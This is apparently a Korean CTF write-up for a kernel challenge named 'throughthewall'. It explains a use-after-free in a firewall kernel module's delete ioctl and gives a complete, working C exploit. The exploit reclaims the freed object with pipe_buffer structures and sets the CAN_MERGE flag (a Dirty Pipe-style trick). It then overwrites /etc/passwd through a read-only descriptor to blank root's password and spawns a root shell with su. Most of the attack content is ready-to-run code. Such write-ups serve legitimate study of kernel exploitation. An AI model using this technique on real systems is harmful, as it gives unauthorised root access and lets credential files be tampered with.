throughthewall

취약점 분석

모듈은 /dev/firewall에 네 개의 ioctl을 제공한다. 규칙 객체와 EDIT/SHOW 요청 구조체는 다음과 같다.

struct firewall_rule {
    uint32_t src_ip;             // +0x000
    uint32_t dst_ip;             // +0x004
    uint16_t port;               // +0x008
    uint16_t action;             // +0x00a
    char description[0x3f4];     // +0x00c
};                               // 0x400
 
struct fw_rw_req {
    uint32_t idx;
    uint32_t pad;
    uint64_t offset;
    uint64_t size;
    char data[0x400];
};                               // 0x418

1. FW_DEL의 Use-After-Free

firewall_ioctl()FW_DEL 분기는 rules[idx]를 해제한 뒤 포인터를 NULL로 초기화하지 않는다. 이후 FW_EDITFW_SHOW는 포인터가 NULL인지 여부만 검사하므로 해제된 객체를 계속 읽고 쓸 수 있다. 같은 인덱스를 다시 삭제하면 double-free도 발생한다.

// Ghidra 디컴파일 결과를 정리한 코드
if (cmd == FW_DEL) {
    idx = (uint32_t)arg;
    if (idx > 0xff)
        return -EINVAL;
    if (rules[idx] == NULL)
        return -ENOENT;
 
    printk("fw_del_rule: idx=%d, ptr=%px", idx, rules[idx]);
    kfree(rules[idx]);
    printk("fw_del_rule: after kfree, ptr=%px", rules[idx]);
 
    // rules[idx] = NULL;이 없다.
    return 0;
}

규칙의 크기는 0x400이므로 대상 환경에서 kmalloc-1k에 할당된다. 해제된 자리를 같은 캐시의 다른 커널 객체로 재할당하면 해당 객체에 대한 read/write primitive를 얻을 수 있다.

Exploit 과정

Step 1: 해제된 규칙을 pipe_buffer 배열로 재할당

기본 파이프 링은 struct pipe_buffer 16개로 구성된다. x86-64에서 각 원소는 0x28바이트이므로 배열의 요청 크기는 0x280이고, 대상 환경에서 규칙과 같은 kmalloc-1k에 할당된다.

SLUB freelist는 CPU별로 관리되므로 먼저 CPU 0에 고정한다. 0x400 크기의 규칙을 생성하고 삭제한 직후 파이프를 생성하여 해제된 자리를 파이프 링으로 재할당한다. 첫 번째 write()는 슬롯 0에 익명 파이프 페이지를 등록한다.

important("happy hacking!");
pin_cpu(0);
 
int fd = open("/dev/firewall", O_RDWR);
if (fd < 0)
{
    perror("open");
    return -1;
}
info("/dev/firewall opened: %d", fd);
 
int ret = fw_add(fd, "1.1.1.1 2.2.2.2 80 0 test");
info("fw_add returned: %d", ret);
 
fw_del(fd, 0);
info("fw_del %d called", ret);
 
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "AAAA", 4);
info("pipe buffer reclaimed");

Step 2: /etc/passwd의 page-cache 버퍼 생성

/etc/passwd를 읽기 전용으로 열고 0번 오프셋의 1바이트를 파이프로 splice()한다. 슬롯 0은 이미 사용 중이므로 파일 페이지를 가리키는 page_cache_pipe_buf_ops 버퍼가 슬롯 1에 생성된다.

int passwd_fd = open("/etc/passwd", O_RDONLY);
if (passwd_fd < 0)
{
    perror("open /etc/passwd");
    return -1;
}
info("/etc/passwd opened: %d", passwd_fd);
 
off_t offset = 0;
ret = splice(passwd_fd, &offset, pipefd[1], 0, 1, 0);
info("splice returned: %d", ret);
 
char buf[0x400] = {0};
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);

struct pipe_buffer의 레이아웃은 다음과 같다.

struct pipe_buffer {
    struct page *page;                       // +0x00
    unsigned int offset;                     // +0x08
    unsigned int len;                        // +0x0c
    const struct pipe_buf_operations *ops;   // +0x10
    unsigned int flags;                      // +0x18
    unsigned long private;                   // +0x20
};                                           // 0x28

Step 3: PIPE_BUF_FLAG_CAN_MERGE 설정

슬롯 1은 배열 기준 0x28에서 시작하고 flags는 원소 기준 0x18에 있다. 따라서 UAF 포인터 기준 0x400x10으로 변경한다.

fw_edit(fd, 0, 0x28 + 0x18, 1, "\x10");
 
memset(buf, 0, sizeof(buf));
fw_show(fd, 0, 0, sizeof(buf), buf);
hexdump(buf, 0x50);
info("pipe_buffer's flags modified to PIPE_BUF_FLAG_CAN_MERGE (0x10)");

이 플래그가 설정되면 다음 파이프 쓰기가 마지막 pipe_buffer에 병합된다. 마지막 버퍼는 /etc/passwd의 page cache를 가리키므로 읽기 전용 파일 디스크립터만으로 파일 내용을 변경할 수 있다.

Step 4: /etc/passwd 변조 및 root 셸 실행

파일 오프셋 0은 직접 덮을 수 없으므로 첫 글자 r은 유지한다. splice()가 등록한 1바이트 뒤에 oot::...를 병합하여 root 계정의 비밀번호 필드를 비운다. 이후 su로 root 셸을 실행한다.

char *new_passwd = "oot::0:0:root:/root:/bin/sh\n";
write(pipefd[1], new_passwd, strlen(new_passwd));
 
info("passwd updated");
 
system("su -c '/bin/sh'");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
 
#define FW_ADD 0x41004601
#define FW_DEL 0x40044602
#define FW_EDIT 0x44184603
#define FW_SHOW 0x84184604
 
struct fw_rw_req
{
    uint32_t idx;
    uint32_t pad;
    uint64_t offset;
    uint64_t size;
    char data[1024];
};
 
int fw_add(int fd, char *rule)
{
    char buf[0x100] = {0};
    strncpy(buf, rule, sizeof(buf) - 1);
    int ret = ioctl(fd, FW_ADD, buf);
    return ret;
}
 
void fw_del(int fd, uint32_t idx)
{
    ioctl(fd, FW_DEL, idx);
}
 
void fw_edit(int fd, uint32_t idx, uint64_t offset, uint64_t size, char *data)
{
    struct fw_rw_req req;
    req.idx = idx;
    req.offset = offset;
    req.size = size;
    memcpy(req.data, data, size);
    ioctl(fd, FW_EDIT, &req);
}
 
void fw_show(int fd, uint32_t idx, uint64_t offset, uint64_t size, char *data)
{
    struct fw_rw_req req;
    req.idx = idx;
    req.offset = offset;
    req.size = size;
    ioctl(fd, FW_SHOW, &req);
    memcpy(data, req.data, size);
}
 
int main()
{
    important("happy hacking!");
    pin_cpu(0);
 
    // Open the firewall device
    int fd = open("/dev/firewall", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return -1;
    }
    info("/dev/firewall opened: %d", fd);
 
    // Add and delete firewall rule
    int ret = fw_add(fd, "1.1.1.1 2.2.2.2 80 0 test");
    info("fw_add returned: %d", ret);
 
    fw_del(fd, 0);
    info("fw_del %d called", ret);
 
    // Reclaim the pipe buffer
    int pipefd[2];
    pipe(pipefd);
    write(pipefd[1], "AAAA", 4);
    info("pipe buffer reclaimed");
 
    // splice the pipe buffer to the /etc/passwd file
    int passwd_fd = open("/etc/passwd", O_RDONLY);
    if (passwd_fd < 0)
    {
        perror("open /etc/passwd");
        return -1;
    }
    info("/etc/passwd opened: %d", passwd_fd);
 
    off_t offset = 0;
    ret = splice(passwd_fd, &offset, pipefd[1], 0, 1, 0);
    info("splice returned: %d", ret);
 
    char buf[0x400] = {0};
    fw_show(fd, 0, 0, sizeof(buf), buf);
    hexdump(buf, 0x50);
 
    // modify the pipefd[1]'s pipe_buffer's flags to PIPE_BUF_FLAG_CAN_MERGE (0x10)
    fw_edit(fd, 0, 0x28 + 0x18, 1, "\x10");
 
    memset(buf, 0, sizeof(buf));
    fw_show(fd, 0, 0, sizeof(buf), buf);
    hexdump(buf, 0x50);
    info("pipe_buffer's flags modified to PIPE_BUF_FLAG_CAN_MERGE (0x10)");
 
    // overwrite the /etc/passwd file's content with "root::0:0:root:/root:/bin/bash\n"
    char *new_passwd = "oot::0:0:root:/root:/bin/sh\n";
    write(pipefd[1], new_passwd, strlen(new_passwd));
 
    info("passwd updated");
 
    // spawn a root shell
    system("su -c '/bin/sh'");
 
    return 0;
}